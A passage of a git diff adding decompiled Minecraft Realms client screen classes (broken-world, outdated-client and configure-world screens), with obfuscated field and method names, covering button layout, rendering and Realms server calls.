com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.realmsclient.RealmsMainScreen; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.dto.RealmsWorldOptions; +import com.mojang.realmsclient.dto.WorldDownload; +import com.mojang.realmsclient.exception.RealmsServiceException; +import com.mojang.realmsclient.gui.RealmsServerSlotButton; +import com.mojang.realmsclient.util.RealmsTextureManager; +import java.util.List; +import java.util.Map.Entry; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import net.minecraft.client.gui.AbstractGui; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.realms.action.OpeningWorldRealmsAction; +import net.minecraft.realms.action.SwitchMinigameRealmsAction; +import net.minecraft.util.math.MathHelper; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsBrokenWorldScreen extends RealmsScreen +{ + private static final Logger field_224071_a = LogManager.getLogger(); + private final Screen field_224072_b; + private final RealmsMainScreen field_224073_c; + private RealmsServer field_224074_d; + private final long field_224075_e; + private final ITextComponent field_237769_r_; + private final ITextComponent[] field_224077_g = new ITextComponent[] {new TranslationTextComponent("mco.brokenworld.message.line1"), new TranslationTextComponent("mco.brokenworld.message.line2")}; + private int field_224078_h; + private int field_224079_i; + private final List field_224086_p = Lists.newArrayList(); + private int field_224087_q; + + public RealmsBrokenWorldScreen(Screen p_i232200_1_, RealmsMainScreen p_i232200_2_, long p_i232200_3_, boolean p_i232200_5_) + { + this.field_224072_b = p_i232200_1_; + this.field_224073_c = p_i232200_2_; + this.field_224075_e = p_i232200_3_; + this.field_237769_r_ = p_i232200_5_ ? new TranslationTextComponent("mco.brokenworld.minigame.title") : new TranslationTextComponent("mco.brokenworld.title"); + } + + public void init() + { + this.field_224078_h = this.width / 2 - 150; + this.field_224079_i = this.width / 2 + 190; + this.addButton(new Button(this.field_224079_i - 80 + 8, func_239562_k_(13) - 5, 70, 20, DialogTexts.GUI_BACK, (p_237776_1_) -> + { + this.func_224060_e(); + })); + + if (this.field_224074_d == null) + { + this.func_224068_a(this.field_224075_e); + } + else + { + this.func_224058_a(); + } + + this.minecraft.keyboardListener.enableRepeatEvents(true); + RealmsNarratorHelper.func_239550_a_(Stream.concat(Stream.of(this.field_237769_r_), Stream.of(this.field_224077_g)).map(ITextComponent::getString).collect(Collectors.joining(" "))); + } + + private void func_224058_a() + { + for (Entry entry : this.field_224074_d.field_230590_i_.entrySet()) + { + int i = entry.getKey(); + boolean flag = i != this.field_224074_d.field_230595_n_ || this.field_224074_d.field_230594_m_ == RealmsServer.ServerType.MINIGAME; + Button button; + + if (flag) + { + button = new Button(this.func_224065_a(i), func_239562_k_(8), 80, 20, new TranslationTextComponent("mco.brokenworld.play"), (p_237780_2_) -> + { + if ((this.field_224074_d.field_230590_i_.get(i)).field_230627_n_) + { + RealmsResetWorldScreen realmsresetworldscreen = new RealmsResetWorldScreen(this, this.field_224074_d, new TranslationTextComponent("mco.configure.world.switch.slot"), new TranslationTextComponent("mco.configure.world.switch.slot.subtitle"), 10526880, DialogTexts.GUI_CANCEL, this::func_237772_a_, () -> + { + this.minecraft.displayGuiScreen(this); + this.func_237772_a_(); + }); + realmsresetworldscreen.func_224445_b(i); + realmsresetworldscreen.func_224432_a(new TranslationTextComponent("mco.create.world.reset.title")); + this.minecraft.displayGuiScreen(realmsresetworldscreen); + } + else { + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(this.field_224072_b, new SwitchMinigameRealmsAction(this.field_224074_d.field_230582_a_, i, this::func_237772_a_))); + } + }); + } + else + { + button = new Button(this.func_224065_a(i), func_239562_k_(8), 80, 20, new TranslationTextComponent("mco.brokenworld.download"), (p_237777_2_) -> + { + ITextComponent itextcomponent = new TranslationTextComponent("mco.configure.world.restore.download.question.line1"); + ITextComponent itextcomponent1 = new TranslationTextComponent("mco.configure.world.restore.download.question.line2"); + this.minecraft.displayGuiScreen(new RealmsLongConfirmationScreen((p_237778_2_) -> { + if (p_237778_2_) + { + this.func_224066_b(i); + } + else { + this.minecraft.displayGuiScreen(this); + } + }, RealmsLongConfirmationScreen.Type.Info, itextcomponent, itextcomponent1, true)); + }); + } + + if (this.field_224086_p.contains(i)) + { + button.active = false; + button.setMessage(new TranslationTextComponent("mco.brokenworld.downloaded")); + } + + this.addButton(button); + this.addButton(new Button(this.func_224065_a(i), func_239562_k_(10), 80, 20, new TranslationTextComponent("mco.brokenworld.reset"), (p_237773_2_) -> + { + RealmsResetWorldScreen realmsresetworldscreen = new RealmsResetWorldScreen(this, this.field_224074_d, this::func_237772_a_, () -> { + this.minecraft.displayGuiScreen(this); + this.func_237772_a_(); + }); + + if (i != this.field_224074_d.field_230595_n_ || this.field_224074_d.field_230594_m_ == RealmsServer.ServerType.MINIGAME) + { + realmsresetworldscreen.func_224445_b(i); + } + + this.minecraft.displayGuiScreen(realmsresetworldscreen); + })); + } + } + + public void tick() + { + ++this.field_224087_q; + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + super.render(matrixStack, mouseX, mouseY, partialTicks); + drawCenteredString(matrixStack, this.font, this.field_237769_r_, this.width / 2, 17, 16777215); + + for (int i = 0; i < this.field_224077_g.length; ++i) + { + drawCenteredString(matrixStack, this.font, this.field_224077_g[i], this.width / 2, func_239562_k_(-1) + 3 + i * 12, 10526880); + } + + if (this.field_224074_d != null) + { + for (Entry entry : this.field_224074_d.field_230590_i_.entrySet()) + { + if ((entry.getValue()).field_230625_l_ != null && (entry.getValue()).field_230624_k_ != -1L) + { + this.func_237775_a_(matrixStack, this.func_224065_a(entry.getKey()), func_239562_k_(1) + 5, mouseX, mouseY, this.field_224074_d.field_230595_n_ == entry.getKey() && !this.func_224069_f(), entry.getValue().func_230787_a_(entry.getKey()), entry.getKey(), (entry.getValue()).field_230624_k_, (entry.getValue()).field_230625_l_, (entry.getValue()).field_230627_n_); + } + else + { + this.func_237775_a_(matrixStack, this.func_224065_a(entry.getKey()), func_239562_k_(1) + 5, mouseX, mouseY, this.field_224074_d.field_230595_n_ == entry.getKey() && !this.func_224069_f(), entry.getValue().func_230787_a_(entry.getKey()), entry.getKey(), -1L, (String)null, (entry.getValue()).field_230627_n_); + } + } + } + } + + private int func_224065_a(int p_224065_1_) + { + return this.field_224078_h + (p_224065_1_ - 1) * 110; + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.func_224060_e(); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + private void func_224060_e() + { + this.minecraft.displayGuiScreen(this.field_224072_b); + } + + private void func_224068_a(long p_224068_1_) + { + (new Thread(() -> + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try { + this.field_224074_d = realmsclient.func_224935_a(p_224068_1_); + this.func_224058_a(); + } + catch (RealmsServiceException realmsserviceexception) + { + field_224071_a.error("Couldn't get own world"); + this.minecraft.displayGuiScreen(new RealmsGenericErrorScreen(ITextComponent.getTextComponentOrEmpty(realmsserviceexception.getMessage()), this.field_224072_b)); + } + })).start(); + } + + public void func_237772_a_() + { + (new Thread(() -> + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + if (this.field_224074_d.field_230586_e_ == RealmsServer.Status.CLOSED) + { + this.minecraft.execute(() -> + { + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(this, new OpeningWorldRealmsAction(this.field_224074_d, this, this.field_224073_c, true))); + }); + } + else { + try { + this.field_224073_c.func_223942_f().func_223911_a(realmsclient.func_224935_a(this.field_224075_e), this); + } + catch (RealmsServiceException realmsserviceexception) + { + field_224071_a.error("Couldn't get own world"); + this.minecraft.execute(() -> + { + this.minecraft.displayGuiScreen(this.field_224072_b); + }); + } + } + })).start(); + } + + private void func_224066_b(int p_224066_1_) + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + WorldDownload worlddownload = realmsclient.func_224917_b(this.field_224074_d.field_230582_a_, p_224066_1_); + RealmsDownloadLatestWorldScreen realmsdownloadlatestworldscreen = new RealmsDownloadLatestWorldScreen(this, worlddownload, this.field_224074_d.func_237696_a_(p_224066_1_), (p_237774_2_) -> + { + if (p_237774_2_) + { + this.field_224086_p.add(p_224066_1_); + this.children.clear(); + this.func_224058_a(); + } + else { + this.minecraft.displayGuiScreen(this); + } + }); + this.minecraft.displayGuiScreen(realmsdownloadlatestworldscreen); + } + catch (RealmsServiceException realmsserviceexception) + { + field_224071_a.error("Couldn't download world data"); + this.minecraft.displayGuiScreen(new RealmsGenericErrorScreen(realmsserviceexception, this)); + } + } + + private boolean func_224069_f() + { + return this.field_224074_d != null && this.field_224074_d.field_230594_m_ == RealmsServer.ServerType.MINIGAME; + } + + private void func_237775_a_(MatrixStack p_237775_1_, int p_237775_2_, int p_237775_3_, int p_237775_4_, int p_237775_5_, boolean p_237775_6_, String p_237775_7_, int p_237775_8_, long p_237775_9_, String p_237775_11_, boolean p_237775_12_) + { + if (p_237775_12_) + { + this.minecraft.getTextureManager().bindTexture(RealmsServerSlotButton.field_237713_b_); + } + else if (p_237775_11_ != null && p_237775_9_ != -1L) + { + RealmsTextureManager.func_225202_a(String.valueOf(p_237775_9_), p_237775_11_); + } + else if (p_237775_8_ == 1) + { + this.minecraft.getTextureManager().bindTexture(RealmsServerSlotButton.field_237714_c_); + } + else if (p_237775_8_ == 2) + { + this.minecraft.getTextureManager().bindTexture(RealmsServerSlotButton.field_237715_d_); + } + else if (p_237775_8_ == 3) + { + this.minecraft.getTextureManager().bindTexture(RealmsServerSlotButton.field_237716_e_); + } + else + { + RealmsTextureManager.func_225202_a(String.valueOf(this.field_224074_d.field_230597_p_), this.field_224074_d.field_230598_q_); + } + + if (!p_237775_6_) + { + RenderSystem.color4f(0.56F, 0.56F, 0.56F, 1.0F); + } + else if (p_237775_6_) + { + float f = 0.9F + 0.1F * MathHelper.cos((float)this.field_224087_q * 0.2F); + RenderSystem.color4f(f, f, f, 1.0F); + } + + AbstractGui.blit(p_237775_1_, p_237775_2_ + 3, p_237775_3_ + 3, 0.0F, 0.0F, 74, 74, 74, 74); + this.minecraft.getTextureManager().bindTexture(RealmsServerSlotButton.field_237712_a_); + + if (p_237775_6_) + { + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + } + else + { + RenderSystem.color4f(0.56F, 0.56F, 0.56F, 1.0F); + } + + AbstractGui.blit(p_237775_1_, p_237775_2_, p_237775_3_, 0.0F, 0.0F, 80, 80, 80, 80); + drawCenteredString(p_237775_1_, this.font, p_237775_7_, p_237775_2_ + 40, p_237775_3_ + 66, 16777215); + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsClientOutdatedScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsClientOutdatedScreen.java new file mode 100644 index 00000000..ba3a132b --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsClientOutdatedScreen.java @@ -0,0 +1,73 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; + +public class RealmsClientOutdatedScreen extends RealmsScreen +{ + private static final ITextComponent field_243104_a = new TranslationTextComponent("mco.client.outdated.title"); + private static final ITextComponent[] field_243105_b = new ITextComponent[] {new TranslationTextComponent("mco.client.outdated.msg.line1"), new TranslationTextComponent("mco.client.outdated.msg.line2")}; + private static final ITextComponent field_243106_c = new TranslationTextComponent("mco.client.incompatible.title"); + private static final ITextComponent[] field_243107_p = new ITextComponent[] {new TranslationTextComponent("mco.client.incompatible.msg.line1"), new TranslationTextComponent("mco.client.incompatible.msg.line2"), new TranslationTextComponent("mco.client.incompatible.msg.line3")}; + private final Screen field_224129_a; + private final boolean field_224130_b; + + public RealmsClientOutdatedScreen(Screen p_i232201_1_, boolean p_i232201_2_) + { + this.field_224129_a = p_i232201_1_; + this.field_224130_b = p_i232201_2_; + } + + public void init() + { + this.addButton(new Button(this.width / 2 - 100, func_239562_k_(12), 200, 20, DialogTexts.GUI_BACK, (p_237786_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224129_a); + })); + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + ITextComponent itextcomponent; + ITextComponent[] aitextcomponent; + + if (this.field_224130_b) + { + itextcomponent = field_243106_c; + aitextcomponent = field_243107_p; + } + else + { + itextcomponent = field_243104_a; + aitextcomponent = field_243105_b; + } + + drawCenteredString(matrixStack, this.font, itextcomponent, this.width / 2, func_239562_k_(3), 16711680); + + for (int i = 0; i < aitextcomponent.length; ++i) + { + drawCenteredString(matrixStack, this.font, aitextcomponent[i], this.width / 2, func_239562_k_(5) + i * 12, 16777215); + } + + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode != 257 && keyCode != 335 && keyCode != 256) + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + else + { + this.minecraft.displayGuiScreen(this.field_224129_a); + return true; + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsConfigureWorldScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsConfigureWorldScreen.java new file mode 100644 index 00000000..84f8f382 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsConfigureWorldScreen.java @@ -0,0 +1,597 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.realmsclient.RealmsMainScreen; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.dto.RealmsWorldOptions; +import com.mojang.realmsclient.dto.WorldTemplate; +import com.mojang.realmsclient.exception.RealmsServiceException; +import com.mojang.realmsclient.gui.RealmsServerSlotButton; +import javax.annotation.Nullable; +import net.minecraft.client.gui.AbstractGui; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.action.CloseRealmsAction; +import net.minecraft.realms.action.OpeningWorldRealmsAction; +import net.minecraft.realms.action.StartMinigameRealmsAction; +import net.minecraft.realms.action.SwitchMinigameRealmsAction; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsConfigureWorldScreen extends NotifableRealmsScreen +{ + private static final Logger field_224413_a = LogManager.getLogger(); + private static final ResourceLocation field_237787_b_ = new ResourceLocation("realms", "textures/gui/realms/on_icon.png"); + private static final ResourceLocation field_237788_c_ = new ResourceLocation("realms", "textures/gui/realms/off_icon.png"); + private static final ResourceLocation field_237789_p_ = new ResourceLocation("realms", "textures/gui/realms/expired_icon.png"); + private static final ResourceLocation field_237790_q_ = new ResourceLocation("realms", "textures/gui/realms/expires_soon_icon.png"); + private static final ITextComponent field_243108_r = new TranslationTextComponent("mco.configure.worlds.title"); + private static final ITextComponent field_243109_s = new TranslationTextComponent("mco.configure.world.title"); + private static final ITextComponent field_243110_t = (new TranslationTextComponent("mco.configure.current.minigame")).appendString(": "); + private static final ITextComponent field_243111_u = new TranslationTextComponent("mco.selectServer.expired"); + private static final ITextComponent field_243112_v = new TranslationTextComponent("mco.selectServer.expires.soon"); + private static final ITextComponent field_243113_w = new TranslationTextComponent("mco.selectServer.expires.day"); + private static final ITextComponent field_243114_x = new TranslationTextComponent("mco.selectServer.open"); + private static final ITextComponent field_243115_y = new TranslationTextComponent("mco.selectServer.closed"); + @Nullable + private ITextComponent field_224414_b; + private final RealmsMainScreen field_224415_c; + @Nullable + private RealmsServer field_224416_d; + private final long field_224417_e; + private int field_224418_f; + private int field_224419_g; + private Button field_224422_j; + private Button field_224423_k; + private Button field_224424_l; + private Button field_224425_m; + private Button field_224426_n; + private Button field_224427_o; + private Button field_224428_p; + private boolean field_224429_q; + private int field_224430_r; + private int field_224431_s; + + public RealmsConfigureWorldScreen(RealmsMainScreen p_i51774_1_, long p_i51774_2_) + { + this.field_224415_c = p_i51774_1_; + this.field_224417_e = p_i51774_2_; + } + + public void init() + { + if (this.field_224416_d == null) + { + this.func_224387_a(this.field_224417_e); + } + + this.field_224418_f = this.width / 2 - 187; + this.field_224419_g = this.width / 2 + 190; + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.field_224422_j = this.addButton(new Button(this.func_224374_a(0, 3), func_239562_k_(0), 100, 20, new TranslationTextComponent("mco.configure.world.buttons.players"), (p_237818_1_) -> + { + this.minecraft.displayGuiScreen(new RealmsPlayerScreen(this, this.field_224416_d)); + })); + this.field_224423_k = this.addButton(new Button(this.func_224374_a(1, 3), func_239562_k_(0), 100, 20, new TranslationTextComponent("mco.configure.world.buttons.settings"), (p_237817_1_) -> + { + this.minecraft.displayGuiScreen(new RealmsSettingsScreen(this, this.field_224416_d.clone())); + })); + this.field_224424_l = this.addButton(new Button(this.func_224374_a(2, 3), func_239562_k_(0), 100, 20, new TranslationTextComponent("mco.configure.world.buttons.subscription"), (p_237816_1_) -> + { + this.minecraft.displayGuiScreen(new RealmsSubscriptionInfoScreen(this, this.field_224416_d.clone(), this.field_224415_c)); + })); + + for (int i = 1; i < 5; ++i) + { + this.func_224402_a(i); + } + + this.field_224428_p = this.addButton(new Button(this.func_224411_b(0), func_239562_k_(13) - 5, 100, 20, new TranslationTextComponent("mco.configure.world.buttons.switchminigame"), (p_237815_1_) -> + { + RealmsSelectWorldTemplateScreen realmsselectworldtemplatescreen = new RealmsSelectWorldTemplateScreen(this, RealmsServer.ServerType.MINIGAME); + realmsselectworldtemplatescreen.func_238001_a_(new TranslationTextComponent("mco.template.title.minigame")); + this.minecraft.displayGuiScreen(realmsselectworldtemplatescreen); + })); + this.field_224425_m = this.addButton(new Button(this.func_224411_b(0), func_239562_k_(13) - 5, 90, 20, new TranslationTextComponent("mco.configure.world.buttons.options"), (p_237814_1_) -> + { + this.minecraft.displayGuiScreen(new RealmsSlotOptionsScreen(this, this.field_224416_d.field_230590_i_.get(this.field_224416_d.field_230595_n_).clone(), this.field_224416_d.field_230594_m_, this.field_224416_d.field_230595_n_)); + })); + this.field_224426_n = this.addButton(new Button(this.func_224411_b(1), func_239562_k_(13) - 5, 90, 20, new TranslationTextComponent("mco.configure.world.backup"), (p_237812_1_) -> + { + this.minecraft.displayGuiScreen(new RealmsBackupScreen(this, this.field_224416_d.clone(), this.field_224416_d.field_230595_n_)); + })); + this.field_224427_o = this.addButton(new Button(this.func_224411_b(2), func_239562_k_(13) - 5, 90, 20, new TranslationTextComponent("mco.configure.world.buttons.resetworld"), (p_237810_1_) -> + { + this.minecraft.displayGuiScreen(new RealmsResetWorldScreen(this, this.field_224416_d.clone(), () -> { + this.minecraft.displayGuiScreen(this.func_224407_b()); + }, () -> { + this.minecraft.displayGuiScreen(this.func_224407_b()); + })); + })); + this.addButton(new Button(this.field_224419_g - 80 + 8, func_239562_k_(13) - 5, 70, 20, DialogTexts.GUI_BACK, (p_237808_1_) -> + { + this.func_224390_d(); + })); + this.field_224426_n.active = true; + + if (this.field_224416_d == null) + { + this.func_224412_j(); + this.func_224377_h(); + this.field_224422_j.active = false; + this.field_224423_k.active = false; + this.field_224424_l.active = false; + } + else + { + this.func_224400_e(); + + if (this.func_224376_g()) + { + this.func_224377_h(); + } + else + { + this.func_224412_j(); + } + } + } + + private void func_224402_a(int p_224402_1_) + { + int i = this.func_224368_c(p_224402_1_); + int j = func_239562_k_(5) + 5; + RealmsServerSlotButton realmsserverslotbutton = new RealmsServerSlotButton(i, j, 80, 80, () -> + { + return this.field_224416_d; + }, (p_237801_1_) -> + { + this.field_224414_b = p_237801_1_; + }, p_224402_1_, (p_237795_2_) -> + { + RealmsServerSlotButton.ServerData realmsserverslotbutton$serverdata = ((RealmsServerSlotButton)p_237795_2_).func_237717_a_(); + + if (realmsserverslotbutton$serverdata != null) + { + switch (realmsserverslotbutton$serverdata.field_225116_g) + { + case NOTHING: + break; + + case JOIN: + this.func_224385_a(this.field_224416_d); + break; + + case SWITCH_SLOT: + if (realmsserverslotbutton$serverdata.field_225115_f) + { + this.func_224401_f(); + } + else if (realmsserverslotbutton$serverdata.field_225114_e) + { + this.func_224388_b(p_224402_1_, this.field_224416_d); + } + else + { + this.func_224403_a(p_224402_1_, this.field_224416_d); + } + + break; + + default: + throw new IllegalStateException("Unknown action " + realmsserverslotbutton$serverdata.field_225116_g); + } + } + }); + this.addButton(realmsserverslotbutton); + } + + private int func_224411_b(int p_224411_1_) + { + return this.field_224418_f + p_224411_1_ * 95; + } + + private int func_224374_a(int p_224374_1_, int p_224374_2_) + { + return this.width / 2 - (p_224374_2_ * 105 - 5) / 2 + p_224374_1_ * 105; + } + + public void tick() + { + super.tick(); + ++this.field_224430_r; + --this.field_224431_s; + + if (this.field_224431_s < 0) + { + this.field_224431_s = 0; + } + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.field_224414_b = null; + this.renderBackground(matrixStack); + drawCenteredString(matrixStack, this.font, field_243108_r, this.width / 2, func_239562_k_(4), 16777215); + super.render(matrixStack, mouseX, mouseY, partialTicks); + + if (this.field_224416_d == null) + { + drawCenteredString(matrixStack, this.font, field_243109_s, this.width / 2, 17, 16777215); + } + else + { + String s = this.field_224416_d.func_230775_b_(); + int i = this.font.getStringWidth(s); + int j = this.field_224416_d.field_230586_e_ == RealmsServer.Status.CLOSED ? 10526880 : 8388479; + int k = this.font.getStringPropertyWidth(field_243109_s); + drawCenteredString(matrixStack, this.font, field_243109_s, this.width / 2, 12, 16777215); + drawCenteredString(matrixStack, this.font, s, this.width / 2, 24, j); + int l = Math.min(this.func_224374_a(2, 3) + 80 - 11, this.width / 2 + i / 2 + k / 2 + 10); + this.func_237807_c_(matrixStack, l, 7, mouseX, mouseY); + + if (this.func_224376_g()) + { + this.font.func_243248_b(matrixStack, field_243110_t.deepCopy().appendString(this.field_224416_d.func_230778_c_()), (float)(this.field_224418_f + 80 + 20 + 10), (float)func_239562_k_(13), 16777215); + } + + if (this.field_224414_b != null) + { + this.func_237796_a_(matrixStack, this.field_224414_b, mouseX, mouseY); + } + } + } + + private int func_224368_c(int p_224368_1_) + { + return this.field_224418_f + (p_224368_1_ - 1) * 98; + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.func_224390_d(); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + private void func_224390_d() + { + if (this.field_224429_q) + { + this.field_224415_c.func_223978_e(); + } + + this.minecraft.displayGuiScreen(this.field_224415_c); + } + + private void func_224387_a(long p_224387_1_) + { + (new Thread(() -> + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try { + this.field_224416_d = realmsclient.func_224935_a(p_224387_1_); + this.func_224400_e(); + + if (this.func_224376_g()) + { + this.func_237806_b_(this.field_224428_p); + } + else { + this.func_237806_b_(this.field_224425_m); + this.func_237806_b_(this.field_224426_n); + this.func_237806_b_(this.field_224427_o); + } + } + catch (RealmsServiceException realmsserviceexception) + { + field_224413_a.error("Couldn't get own world"); + this.minecraft.execute(() -> + { + this.minecraft.displayGuiScreen(new RealmsGenericErrorScreen(ITextComponent.getTextComponentOrEmpty(realmsserviceexception.getMessage()), this.field_224415_c)); + }); + } + })).start(); + } + + private void func_224400_e() + { + this.field_224422_j.active = !this.field_224416_d.field_230591_j_; + this.field_224423_k.active = !this.field_224416_d.field_230591_j_; + this.field_224424_l.active = true; + this.field_224428_p.active = !this.field_224416_d.field_230591_j_; + this.field_224425_m.active = !this.field_224416_d.field_230591_j_; + this.field_224427_o.active = !this.field_224416_d.field_230591_j_; + } + + private void func_224385_a(RealmsServer p_224385_1_) + { + if (this.field_224416_d.field_230586_e_ == RealmsServer.Status.OPEN) + { + this.field_224415_c.func_223911_a(p_224385_1_, new RealmsConfigureWorldScreen(this.field_224415_c.func_223942_f(), this.field_224417_e)); + } + else + { + this.func_237802_a_(true, new RealmsConfigureWorldScreen(this.field_224415_c.func_223942_f(), this.field_224417_e)); + } + } + + private void func_224401_f() + { + RealmsSelectWorldTemplateScreen realmsselectworldtemplatescreen = new RealmsSelectWorldTemplateScreen(this, RealmsServer.ServerType.MINIGAME); + realmsselectworldtemplatescreen.func_238001_a_(new TranslationTextComponent("mco.template.title.minigame")); + realmsselectworldtemplatescreen.func_238002_a_(new TranslationTextComponent("mco.minigame.world.info.line1"), new TranslationTextComponent("mco.minigame.world.info.line2")); + this.minecraft.displayGuiScreen(realmsselectworldtemplatescreen); + } + + private void func_224403_a(int p_224403_1_, RealmsServer p_224403_2_) + { + ITextComponent itextcomponent = new TranslationTextComponent("mco.configure.world.slot.switch.question.line1"); + ITextComponent itextcomponent1 = new TranslationTextComponent("mco.configure.world.slot.switch.question.line2"); + this.minecraft.displayGuiScreen(new RealmsLongConfirmationScreen((p_237805_3_) -> + { + if (p_237805_3_) + { + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(this.field_224415_c, new SwitchMinigameRealmsAction(p_224403_2_.field_230582_a_, p_224403_1_, () -> + { + this.minecraft.displayGuiScreen(this.func_224407_b()); + }))); + } + else { + this.minecraft.displayGuiScreen(this); + } + }, RealmsLongConfirmationScreen.Type.Info, itextcomponent, itextcomponent1, true)); + } + + private void func_224388_b(int p_224388_1_, RealmsServer p_224388_2_) + { + ITextComponent itextcomponent = new TranslationTextComponent("mco.configure.world.slot.switch.question.line1"); + ITextComponent itextcomponent1 = new TranslationTextComponent("mco.configure.world.slot.switch.question.line2"); + this.minecraft.displayGuiScreen(new RealmsLongConfirmationScreen((p_237797_3_) -> + { + if (p_237797_3_) + { + RealmsResetWorldScreen realmsresetworldscreen = new RealmsResetWorldScreen(this, p_224388_2_, new TranslationTextComponent("mco.configure.world.switch.slot"), new TranslationTextComponent("mco.configure.world.switch.slot.subtitle"), 10526880, DialogTexts.GUI_CANCEL, () -> + { + this.minecraft.displayGuiScreen(this.func_224407_b()); + }, () -> + { + this.minecraft.displayGuiScreen(this.func_224407_b()); + }); + realmsresetworldscreen.func_224445_b(p_224388_1_); + realmsresetworldscreen.func_224432_a(new TranslationTextComponent("mco.create.world.reset.title")); + this.minecraft.displayGuiScreen(realmsresetworldscreen); + } + else { + this.minecraft.displayGuiScreen(this); + } + }, RealmsLongConfirmationScreen.Type.Info, itextcomponent, itextcomponent1, true)); + } + + protected void func_237796_a_(MatrixStack p_237796_1_, @Nullable ITextComponent p_237796_2_, int p_237796_3_, int p_237796_4_) + { + int i = p_237796_3_ + 12; + int j = p_237796_4_ - 12; + int k = this.font.getStringPropertyWidth(p_237796_2_); + + if (i + k + 3 > this.field_224419_g) + { + i = i - k - 20; + } + + this.fillGradient(p_237796_1_, i - 3, j - 3, i + k + 3, j + 8 + 3, -1073741824, -1073741824); + this.font.func_243246_a(p_237796_1_, p_237796_2_, (float)i, (float)j, 16777215); + } + + private void func_237807_c_(MatrixStack p_237807_1_, int p_237807_2_, int p_237807_3_, int p_237807_4_, int p_237807_5_) + { + if (this.field_224416_d.field_230591_j_) + { + this.func_237809_d_(p_237807_1_, p_237807_2_, p_237807_3_, p_237807_4_, p_237807_5_); + } + else if (this.field_224416_d.field_230586_e_ == RealmsServer.Status.CLOSED) + { + this.func_237813_f_(p_237807_1_, p_237807_2_, p_237807_3_, p_237807_4_, p_237807_5_); + } + else if (this.field_224416_d.field_230586_e_ == RealmsServer.Status.OPEN) + { + if (this.field_224416_d.field_230593_l_ < 7) + { + this.func_237804_b_(p_237807_1_, p_237807_2_, p_237807_3_, p_237807_4_, p_237807_5_, this.field_224416_d.field_230593_l_); + } + else + { + this.func_237811_e_(p_237807_1_, p_237807_2_, p_237807_3_, p_237807_4_, p_237807_5_); + } + } + } + + private void func_237809_d_(MatrixStack p_237809_1_, int p_237809_2_, int p_237809_3_, int p_237809_4_, int p_237809_5_) + { + this.minecraft.getTextureManager().bindTexture(field_237789_p_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_237809_1_, p_237809_2_, p_237809_3_, 0.0F, 0.0F, 10, 28, 10, 28); + + if (p_237809_4_ >= p_237809_2_ && p_237809_4_ <= p_237809_2_ + 9 && p_237809_5_ >= p_237809_3_ && p_237809_5_ <= p_237809_3_ + 27) + { + this.field_224414_b = field_243111_u; + } + } + + private void func_237804_b_(MatrixStack p_237804_1_, int p_237804_2_, int p_237804_3_, int p_237804_4_, int p_237804_5_, int p_237804_6_) + { + this.minecraft.getTextureManager().bindTexture(field_237790_q_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + + if (this.field_224430_r % 20 < 10) + { + AbstractGui.blit(p_237804_1_, p_237804_2_, p_237804_3_, 0.0F, 0.0F, 10, 28, 20, 28); + } + else + { + AbstractGui.blit(p_237804_1_, p_237804_2_, p_237804_3_, 10.0F, 0.0F, 10, 28, 20, 28); + } + + if 